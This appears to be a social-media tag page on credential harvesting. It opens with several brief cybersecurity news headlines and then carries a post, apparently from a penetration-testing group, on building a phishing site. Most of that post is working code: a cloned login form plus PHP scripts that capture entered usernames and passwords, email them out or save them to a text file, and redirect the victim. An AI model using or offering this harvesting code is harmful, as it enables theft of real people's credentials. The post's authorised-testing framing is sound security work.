#credentialharvesting

[it4intserversworld]

iT4iNT SERVER Quasar Linux RAT Steals Developer Credentials for Software Supply Chain Compromise http://dlvr.it/TSRQhF VDS VPS Cloud

[definitelytzar]

Bluekit Phishing Kit Introduces AI Assistant for Automated Campaigns

A newly discovered phishing kit called Bluekit is raising concerns in the cybersecurity community. Read the full article

[cyberdudebivash-news]

BlueDelta Hackers Target 20 Million UKR.NET Users in Massive Russian Intelligence Operation (2025 Campaign)

Read the full report on -

BlueDelta Hackers Target 20 Million UKR.NET Users in Massive Russian Intelligence Operation (2025 Campaign)

CyberDudeBivash News delivers daily cybersecurity threat intel, CVE alerts, malware trends, and crypto security briefings.

[cyberdudebivash-news]

ASUS EMERGENCY: Critical Router Bug Lets Attackers Instantly Spy on Thousands of Home and Office Networks

Read the full report on -

ASUS EMERGENCY: Critical Router Bug Lets Attackers Instantly Spy on Thousands of Home and Office Networks

CyberDudeBivash offers real-time cybersecurity news, threat intelligence, zero-day vulnerabilities, malware reports, and security tools.

[wehackpeople]

Creating A Phishing Site

HTML and PHP Code In this scenario we want to bypass the e-mail filtering and go straight for the Domain Credentials of the target(s) in Scope. Form HTML Code that you would add to your cloned site will look something like this:

<form action="login.php" method="post">

<input type="text" id="username" name="username"/> <input type="password" id="password" name="password"/>

<input type="submit" name="Login" value="Login"> </form>

Next we need to create the login.php script. This will depend on how you would like the credentials stored. I will post the examples for both E-mail Delivery and Save-to-file options:

Email

<?php if ($_POST['submit']) { $message = "username: " . $_POST['username'] . "\n"; $message .= "password: " . $_POST['password'] . "\n"; $to = "[email protected]"; mail($to, 'Target Exploited', $message); } ?> <script>location.href='http://www.site-redirect.com/login.php?invalid_password_link';</script>

Save-to-file:

<?php if ($_POST['submit']){ $myFile = "credentials.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "username: " . $_POST['username'] . "\n"; fwrite($fh, $stringData); $stringData = "password: " . $_POST['password'] . "\n"; fwrite($fh, $stringData); fclose($fh); } ?> <script>location.href='http://www.site-redirect.com/login.php?invalid_password_link';</script>

You will want to create the credentials.txt file and place it in the same folder as your index.html and login.php files. NOTE: If you choose to write the credentials to a file, it is advised that you have a robots.txt file to disallow spidering and discovery of the site, as well as implement another control in order to reduce or stop the risk of exposing the file to the public. Because the .txt file is directly referenced in the code, it can still be easily found. This is a high risk for potentially exposing client data. It is recommended that you utilize folder restriction; otherwise, we do not recommend this method.